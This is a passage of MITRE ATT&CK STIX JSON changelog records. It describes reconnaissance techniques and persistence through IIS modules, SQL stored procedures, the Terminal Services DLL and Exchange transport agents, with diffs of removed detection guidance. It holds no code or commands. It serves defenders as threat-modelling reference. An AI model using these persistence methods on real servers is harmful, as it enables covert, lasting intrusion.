"description": "Adversaries may search social media for information about victims that can be used during targeting. Social media sites may contain various information about a victim organization, such as business announcements as well as information about the roles, locations, and interests of staff.\n\nAdversaries may search in different social media sites depending on what information they seek to gather. Threat actors may passively harvest data from these sites, as well as use information gathered to create fake profiles/groups to elicit victim\u2019s into revealing specific information (i.e. [Spearphishing Service](https://attack.mitre.org/techniques/T1598/001)).(Citation: Cyware Social Media) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "reconnaissance"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1593/001",
"external_id": "T1593.001"
},
{
"source_name": "Cyware Social Media",
"description": "Cyware Hacker News. (2019, October 2). How Hackers Exploit Social Media To Break Into Your Company. Retrieved October 20, 2020.",
"url": "https://cyware.com/news/how-hackers-exploit-social-media-to-break-into-your-company-88e8da8e"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"PRE"
],
"x_mitre_version": "1.0",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:18.054000+00:00\", \"old_value\": \"2025-04-15 23:08:29.336000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}}}",
"previous_version": "1.0",
"changelog_mitigations": {
"shared": [
"M1056: Pre-compromise"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0812: Detection of Social Media"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--16cdd21f-da65-4e4f-bc04-dd7d198c7b26",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-10-02 16:51:50.306000+00:00",
"modified": "2025-10-24 17:48:26.799000+00:00",
"name": "Search Victim-Owned Websites",
"description": "Adversaries may search websites owned by the victim for information that can be used during targeting. Victim-owned websites may contain a variety of details, including names of departments/divisions, physical locations, and data about key employees such as names, roles, and contact info (ex: [Email Addresses](https://attack.mitre.org/techniques/T1589/002)). These sites may also have details highlighting business operations and relationships.(Citation: Comparitech Leak)\n\nAdversaries may search victim-owned websites to gather actionable information. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199) or [Phishing](https://attack.mitre.org/techniques/T1566)).\n\nIn addition to manually browsing the website, adversaries may attempt to identify hidden directories or files that could contain additional sensitive information or vulnerable functionality. They may do this through automated activities such as [Wordlist Scanning](https://attack.mitre.org/techniques/T1595/003), as well as by leveraging files such as sitemap.xml and robots.txt.(Citation: Perez Sitemap XML 2023)(Citation: Register Robots TXT 2015) ",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "reconnaissance"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1594",
"external_id": "T1594"
},
{
"source_name": "Perez Sitemap XML 2023",
"description": "Adi Perez. (2023, February 22). How Attackers Can Misuse Sitemaps to Enumerate Users and Discover Sensitive Information. Retrieved July 18, 2024.",
"url": "https://medium.com/@adimenia/how-attackers-can-misuse-sitemaps-to-enumerate-users-and-discover-sensitive-information-361a5065857a"
},
{
"source_name": "Comparitech Leak",
"description": "Bischoff, P. (2020, October 15). Broadvoice database of more than 350 million customer records exposed online. Retrieved October 20, 2020.",
"url": "https://www.comparitech.com/blog/vpn-privacy/350-million-customer-records-exposed-online/"
},
{
"source_name": "Register Robots TXT 2015",
"description": "Darren Pauli. (2015, May 19). Robots.txt tells hackers the places you don't want them to look. Retrieved July 18, 2024.",
"url": "https://www.theregister.com/2015/05/19/robotstxt/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"James P Callahan, Professional Paranoid"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"PRE"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Application Log: Application Log Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:26.799000+00:00\", \"old_value\": \"2025-04-15 23:04:36.505000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for suspicious network traffic that could be indicative of adversary reconnaissance, such as rapid successions of requests indicative of web crawling and/or large quantities of requests originating from a single source (especially if the source is known to be associated with an adversary). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields.\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1056: Pre-compromise"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0015: Application Log (Application Log Content)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0810: Detection of Search Victim-Owned Websites"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--d456de47-a16f-4e46-8980-e67478a12dcb",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2019-06-28 17:52:07.296000+00:00",
"modified": "2025-10-24 17:49:27.065000+00:00",
"name": "Server Software Component",
"description": "Adversaries may abuse legitimate extensible development features of servers to establish persistent access to systems. Enterprise server applications may include features that allow developers to write and install software or scripts to extend the functionality of the main application. Adversaries may install malicious components to extend and abuse server applications.(Citation: volexity_0day_sophos_FW)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1505",
"external_id": "T1505"
},
{
"source_name": "volexity_0day_sophos_FW",
"description": "Adair, S., Lancaster, T., Volexity Threat Research. (2022, June 15). DriftingCloud: Zero-Day Sophos Firewall Exploitation and an Insidious Breach. Retrieved July 1, 2022.",
"url": "https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/"
},
{
"source_name": "US-CERT Alert TA15-314A Web Shells",
"description": "US-CERT. (2015, November 13). Compromised Web Servers and Web Shells - Threat Awareness and Guidance. Retrieved June 8, 2016.",
"url": "https://www.us-cert.gov/ncas/alerts/TA15-314A"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows",
"Linux",
"macOS",
"Network Devices",
"ESXi"
],
"x_mitre_version": "1.5",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Flow\", \"Application Log: Application Log Content\", \"File: File Modification\", \"File: File Creation\", \"Process: Process Creation\", \"Command: Command Execution\", \"Network Traffic: Network Traffic Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:27.065000+00:00\", \"old_value\": \"2025-04-16 20:37:21.713000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Consider monitoring application logs for abnormal behavior that may indicate suspicious installation of application software components. Consider monitoring file locations associated with the installation of new application software components such as paths from which applications typically load such extensible components.\\n\\nProcess monitoring may be used to detect servers components that perform suspicious actions such as running cmd.exe or accessing files. Log authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells) \", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Consider monitoring application logs for abnormal behavior that may indicate suspicious installation of application software components. Consider monitoring file locations associated with the installation of new application software components such as paths from which applications typically load such extensible components.\\n-\\n-Process monitoring may be used to detect servers components that perform suspicious actions such as running cmd.exe or accessing files. Log authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells) \"}}}",
"previous_version": "1.5",
"changelog_mitigations": {
"shared": [
"M1018: User Account Management",
"M1024: Restrict Registry Permissions",
"M1026: Privileged Account Management",
"M1042: Disable or Remove Feature or Program",
"M1045: Code Signing",
"M1046: Boot Integrity",
"M1047: Audit"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0015: Application Log (Application Log Content)",
"DS0017: Command (Command Execution)",
"DS0022: File (File Creation)",
"DS0022: File (File Modification)",
"DS0029: Network Traffic (Network Traffic Content)",
"DS0029: Network Traffic (Network Traffic Flow)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0547: Detection Strategy for T1505 - Server Software Component"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--b46a801b-fd98-491c-a25a-bca25d6e3001",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2021-06-03 18:44:29.770000+00:00",
"modified": "2025-10-24 17:49:15.437000+00:00",
"name": "IIS Components",
"description": "Adversaries may install malicious components that run on Internet Information Services (IIS) web servers to establish persistence. IIS provides several mechanisms to extend the functionality of the web servers. For example, Internet Server Application Programming Interface (ISAPI) extensions and filters can be installed to examine and/or modify incoming and outgoing IIS web requests. Extensions and filters are deployed as DLL files that export three functions: Get{Extension/Filter}Version, Http{Extension/Filter}Proc, and (optionally) Terminate{Extension/Filter}. IIS modules may also be installed to extend IIS web servers.(Citation: Microsoft ISAPI Extension Overview 2017)(Citation: Microsoft ISAPI Filter Overview 2017)(Citation: IIS Backdoor 2011)(Citation: Trustwave IIS Module 2013)\n\nAdversaries may install malicious ISAPI extensions and filters to observe and/or modify traffic, execute commands on compromised machines, or proxy command and control traffic. ISAPI extensions and filters may have access to all IIS web requests and responses. For example, an adversary may abuse these mechanisms to modify HTTP responses in order to distribute malicious commands/content to previously comprised hosts.(Citation: Microsoft ISAPI Filter Overview 2017)(Citation: Microsoft ISAPI Extension Overview 2017)(Citation: Microsoft ISAPI Extension All Incoming 2017)(Citation: Dell TG-3390)(Citation: Trustwave IIS Module 2013)(Citation: MMPC ISAPI Filter 2012)\n\nAdversaries may also install malicious IIS modules to observe and/or modify traffic. IIS 7.0 introduced modules that provide the same unrestricted access to HTTP requests and responses as ISAPI extensions and filters. IIS modules can be written as a DLL that exports RegisterModule, or as a .NET application that interfaces with ASP.NET APIs to access IIS HTTP requests.(Citation: Microsoft IIS Modules Overview 2007)(Citation: Trustwave IIS Module 2013)(Citation: ESET IIS Malware 2021)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1505/004",
"external_id": "T1505.004"
},
{
"source_name": "Dell TG-3390",
"description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.",
"url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"
},
{
"source_name": "Unit 42 RGDoor Jan 2018",
"description": "Falcone, R. (2018, January 25). OilRig uses RGDoor IIS Backdoor on Targets in the Middle East. Retrieved July 6, 2018.",
"url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/"
},
{
"source_name": "Trustwave IIS Module 2013",
"description": "Grunzweig, J. (2013, December 9). The Curious Case of the Malicious IIS Module. Retrieved June 3, 2021.",
"url": "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/the-curious-case-of-the-malicious-iis-module/"
},
{
"source_name": "ESET IIS Malware 2021",
"description": "Hromcov\u00e1, Z., Cherepanov, A. (2021). Anatomy of Native IIS Malware. Retrieved September 9, 2021.",
"url": "https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Anatomy-Of-Native-Iis-Malware-wp.pdf"
},
{
"source_name": "IIS Backdoor 2011",
"description": "Julien. (2011, February 2). IIS Backdoor. Retrieved June 3, 2021.",
"url": "https://web.archive.org/web/20170106175935/http:/esec-lab.sogeti.com/posts/2011/02/02/iis-backdoor.html"
},
{
"source_name": "Microsoft IIS Modules Overview 2007",
"description": "Microsoft. (2007, November 24). IIS Modules Overview. Retrieved June 17, 2021.",
"url": "https://docs.microsoft.com/en-us/iis/get-started/introduction-to-iis/iis-modules-overview"
},
{
"source_name": "Microsoft ISAPI Extension All Incoming 2017",
"description": "Microsoft. (2017, June 16). Intercepting All Incoming IIS Requests. Retrieved June 3, 2021.",
"url": "https://docs.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms525696(v=vs.90)"
},
{
"source_name": "Microsoft ISAPI Extension Overview 2017",
"description": "Microsoft. (2017, June 16). ISAPI Extension Overview. Retrieved June 3, 2021.",
"url": "https://docs.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms525172(v=vs.90)"
},
{
"source_name": "Microsoft ISAPI Filter Overview 2017",
"description": "Microsoft. (2017, June 16). ISAPI Filter Overview. Retrieved June 3, 2021.",
"url": "https://docs.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms524610(v=vs.90)"
},
{
"source_name": "MMPC ISAPI Filter 2012",
"description": "MMPC. (2012, October 3). Malware signed with the Adobe code signing certificate. Retrieved June 3, 2021.",
"url": "https://web.archive.org/web/20140804175025/http:/blogs.technet.com/b/mmpc/archive/2012/10/03/malware-signed-with-the-adobe-code-signing-certificate.aspx"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Wes Hurd"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Creation\", \"Command: Command Execution\", \"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:15.437000+00:00\", \"old_value\": \"2025-04-25 14:47:43.995000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for creation and/or modification of files (especially DLLs on webservers) that could be abused as malicious ISAPI extensions/filters or IIS modules. Changes to %windir%\\\\system32\\\\inetsrv\\\\config\\\\applicationhost.config could indicate an IIS module installation.(Citation: Microsoft IIS Modules Overview 2007)(Citation: ESET IIS Malware 2021)\\n\\nMonitor execution and command-line arguments of AppCmd.exe, which may be abused to install malicious IIS modules.(Citation: Microsoft IIS Modules Overview 2007)(Citation: Unit 42 RGDoor Jan 2018)(Citation: ESET IIS Malware 2021)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor for creation and/or modification of files (especially DLLs on webservers) that could be abused as malicious ISAPI extensions/filters or IIS modules. Changes to %windir%\\\\system32\\\\inetsrv\\\\config\\\\applicationhost.config could indicate an IIS module installation.(Citation: Microsoft IIS Modules Overview 2007)(Citation: ESET IIS Malware 2021)\\n-\\n-Monitor execution and command-line arguments of AppCmd.exe, which may be abused to install malicious IIS modules.(Citation: Microsoft IIS Modules Overview 2007)(Citation: Unit 42 RGDoor Jan 2018)(Citation: ESET IIS Malware 2021)\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1026: Privileged Account Management",
"M1038: Execution Prevention",
"M1045: Code Signing",
"M1047: Audit"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0017: Command (Command Execution)",
"DS0022: File (File Creation)",
"DS0022: File (File Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0068: Detection Strategy for T1505.004 - Malicious IIS Components"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--f9e9365a-9ca2-4d9c-8e7c-050d73d1101a",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2019-12-12 14:59:58.168000+00:00",
"modified": "2025-10-24 17:49:38.624000+00:00",
"name": "SQL Stored Procedures",
"description": "Adversaries may abuse SQL stored procedures to establish persistent access to systems. SQL Stored Procedures are code that can be saved and reused so that database users do not waste time rewriting frequently used SQL queries. Stored procedures can be invoked via SQL statements to the database using the procedure name or via defined events (e.g. when a SQL server application is started/restarted).\n\nAdversaries may craft malicious stored procedures that can provide a persistence mechanism in SQL database servers.(Citation: NetSPI Startup Stored Procedures)(Citation: Kaspersky MSSQL Aug 2019) To execute operating system commands through SQL syntax the adversary may have to enable additional functionality, such as xp_cmdshell for MSSQL Server.(Citation: NetSPI Startup Stored Procedures)(Citation: Kaspersky MSSQL Aug 2019)(Citation: Microsoft xp_cmdshell 2017) \n\nMicrosoft SQL Server can enable common language runtime (CLR) integration. With CLR integration enabled, application developers can write stored procedures using any .NET framework language (e.g. VB .NET, C#, etc.).(Citation: Microsoft CLR Integration 2017) Adversaries may craft or modify CLR assemblies that are linked to stored procedures since these CLR assemblies can be made to execute arbitrary commands.(Citation: NetSPI SQL Server CLR) ",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1505/001",
"external_id": "T1505.001"
},
{
"source_name": "Microsoft CLR Integration 2017",
"description": "Microsoft. (2017, June 19). Common Language Runtime Integration. Retrieved July 8, 2019.",
"url": "https://docs.microsoft.com/en-us/sql/relational-databases/clr-integration/common-language-runtime-integration-overview?view=sql-server-2017"
},
{
"source_name": "Microsoft xp_cmdshell 2017",
"description": "Microsoft. (2017, March 15). xp_cmdshell (Transact-SQL). Retrieved September 9, 2019.",
"url": "https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql?view=sql-server-2017"
},
{
"source_name": "Kaspersky MSSQL Aug 2019",
"description": "Plakhov, A., Sitchikhin, D. (2019, August 22). Agent 1433: remote attack on Microsoft SQL Server. Retrieved September 4, 2019.",
"url": "https://securelist.com/malicious-tasks-in-ms-sql-server/92167/"
},
{
"source_name": "NetSPI Startup Stored Procedures",
"description": "Sutherland, S. (2016, March 7). Maintaining Persistence via SQL Server \u2013 Part 1: Startup Stored Procedures. Retrieved September 12, 2024.",
"url": "https://www.netspi.com/blog/technical-blog/network-penetration-testing/sql-server-persistence-part-1-startup-stored-procedures/"
},
{
"source_name": "NetSPI SQL Server CLR",
"description": "Sutherland, S. (2017, July 13). Attacking SQL Server CLR Assemblies. Retrieved September 12, 2024.",
"url": "https://www.netspi.com/blog/technical-blog/adversary-simulation/attacking-sql-server-clr-assemblies/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Carlos Borges, @huntingneo, CIP",
"Lucas da Silva Pereira, @vulcanunsec, CIP",
"Kaspersky"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows",
"Linux"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Application Log: Application Log Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:38.624000+00:00\", \"old_value\": \"2025-04-15 23:02:13.653000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"On a MSSQL Server, consider monitoring for xp_cmdshell usage.(Citation: NetSPI Startup Stored Procedures) Consider enabling audit features that can log malicious startup activities.\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1026: Privileged Account Management",
"M1045: Code Signing",
"M1047: Audit"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0015: Application Log (Application Log Content)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0181: Detection Strategy for SQL Stored Procedures Abuse via T1505.001"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--379809f6-2fac-42c1-bd2e-e9dee70b27f8",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2022-03-28 15:34:44.590000+00:00",
"modified": "2025-10-24 17:48:39.258000+00:00",
"name": "Terminal Services DLL",
"description": "Adversaries may abuse components of Terminal Services to enable persistent access to systems. Microsoft Terminal Services, renamed to Remote Desktop Services in some Windows Server OSs as of 2022, enable remote terminal connections to hosts. Terminal Services allows servers to transmit a full, interactive, graphical user interface to clients via RDP.(Citation: Microsoft Remote Desktop Services)\n\n[Windows Service](https://attack.mitre.org/techniques/T1543/003)s that are run as a \"generic\" process (ex: svchost.exe) load the service's DLL file, the location of which is stored in a Registry entry named ServiceDll.(Citation: Microsoft System Services Fundamentals) The termsrv.dll file, typically stored in `%SystemRoot%\\System32\\`, is the default ServiceDll value for Terminal Services in `HKLM\\System\\CurrentControlSet\\services\\TermService\\Parameters\\`.\n\nAdversaries may modify and/or replace the Terminal Services DLL to enable persistent access to victimized hosts.(Citation: James TermServ DLL) Modifications to this DLL could be done to execute arbitrary payloads (while also potentially preserving normal termsrv.dll functionality) as well as to simply enable abusable features of Terminal Services. For example, an adversary may enable features such as concurrent [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) sessions by either patching the termsrv.dll file or modifying the ServiceDll value to point to a DLL that provides increased RDP functionality.(Citation: Windows OS Hub RDP)(Citation: RDPWrap Github) On a non-server Windows OS this increased functionality may also enable an adversary to avoid Terminal Services prompts that warn/log out users of a system when a new RDP session is created.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1505/005",
"external_id": "T1505.005"
},
{
"source_name": "James TermServ DLL",
"description": "James. (2019, July 14). @James_inthe_box. Retrieved September 12, 2024.",
"url": "https://x.com/james_inthe_box/status/1150495335812177920"
},
{
"source_name": "Microsoft System Services Fundamentals",
"description": "Microsoft. (2018, February 17). Windows System Services Fundamentals. Retrieved March 28, 2022.",
"url": "https://social.technet.microsoft.com/wiki/contents/articles/12229.windows-system-services-fundamentals.aspx"
},
{
"source_name": "Microsoft Remote Desktop Services",
"description": "Microsoft. (2019, August 23). About Remote Desktop Services. Retrieved March 28, 2022.",
"url": "https://docs.microsoft.com/windows/win32/termserv/about-terminal-services"
},
{
"source_name": "RDPWrap Github",
"description": "Stas'M Corp. (2014, October 22). RDP Wrapper Library by Stas'M. Retrieved March 28, 2022.",
"url": "https://github.com/stascorp/rdpwrap"
},
{
"source_name": "Windows OS Hub RDP",
"description": "Windows OS Hub. (2021, November 10). How to Allow Multiple RDP Sessions in Windows 10 and 11?. Retrieved March 28, 2022.",
"url": "http://woshub.com/how-to-allow-multiple-rdp-sessions-in-windows-10/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.0",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Module: Module Load\", \"Command: Command Execution\", \"File: File Modification\", \"Windows Registry: Windows Registry Key Modification\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:39.258000+00:00\", \"old_value\": \"2025-04-15 23:15:45.110000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for changes to Registry keys associated with ServiceDll and other subkey values under HKLM\\\\System\\\\CurrentControlSet\\\\services\\\\TermService\\\\Parameters\\\\.\\n\\nMonitor unexpected changes and/or interactions with termsrv.dll, which is typically stored in %SystemRoot%\\\\System32\\\\.\\n\\nMonitor commands as well as processes and arguments for potential adversary actions to modify Registry values (ex: reg.exe) or modify/replace the legitimate termsrv.dll.\\n\\nMonitor module loads by the Terminal Services process (ex: svchost.exe -k termsvcs) for unexpected DLLs (the default is %SystemRoot%\\\\System32\\\\termsrv.dll, though an adversary could also use [Match Legitimate Resource Name or Location](https://attack.mitre.org/techniques/T1036/005) on a malicious payload).\", \"diff\": \"--- \\n+++ \\n@@ -1,7 +0,0 @@\\n-Monitor for changes to Registry keys associated with ServiceDll and other subkey values under HKLM\\\\System\\\\CurrentControlSet\\\\services\\\\TermService\\\\Parameters\\\\.\\n-\\n-Monitor unexpected changes and/or interactions with termsrv.dll, which is typically stored in %SystemRoot%\\\\System32\\\\.\\n-\\n-Monitor commands as well as processes and arguments for potential adversary actions to modify Registry values (ex: reg.exe) or modify/replace the legitimate termsrv.dll.\\n-\\n-Monitor module loads by the Terminal Services process (ex: svchost.exe -k termsvcs) for unexpected DLLs (the default is %SystemRoot%\\\\System32\\\\termsrv.dll, though an adversary could also use [Match Legitimate Resource Name or Location](https://attack.mitre.org/techniques/T1036/005) on a malicious payload).\"}}}",
"previous_version": "1.0",
"changelog_mitigations": {
"shared": [
"M1024: Restrict Registry Permissions",
"M1047: Audit"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0011: Module (Module Load)",
"DS0017: Command (Command Execution)",
"DS0022: File (File Modification)",
"DS0024: Windows Registry (Windows Registry Key Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0212: Detection Strategy for T1505.005 \u2013 Terminal Services DLL Modification (Windows)"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--35187df2-31ed-43b6-a1f5-2f1d3d58d3f1",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2019-12-12 15:08:20.972000+00:00",
"modified": "2025-10-24 17:48:38.001000+00:00",
"name": "Transport Agent",
"description": "Adversaries may abuse Microsoft transport agents to establish persistent access to systems. Microsoft Exchange transport agents can operate on email messages passing through the transport pipeline to perform various tasks such as filtering spam, filtering malicious attachments, journaling, or adding a corporate signature to the end of all outgoing emails.(Citation: Microsoft TransportAgent Jun 2016)(Citation: ESET LightNeuron May 2019) Transport agents can be written by application developers and then compiled to .NET assemblies that are subsequently registered with the Exchange server. Transport agents will be invoked during a specified stage of email processing and carry out developer defined tasks. \n\nAdversaries may register a malicious transport agent to provide a persistence mechanism in Exchange Server that can be triggered by adversary-specified email events.(Citation: ESET LightNeuron May 2019) Though a malicious transport agent may be invoked for all emails passing through the Exchange transport pipeline, the agent can be configured to only carry out specific tasks in response to adversary defined criteria. For example, the transport agent may only carry out an action like copying in-transit attachments and saving them for later exfiltration if the recipient email address matches an entry on a list provided by the adversary. ",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1505/002",
"external_id": "T1505.002"
},
{
"source_name": "Microsoft TransportAgent Jun 2016",
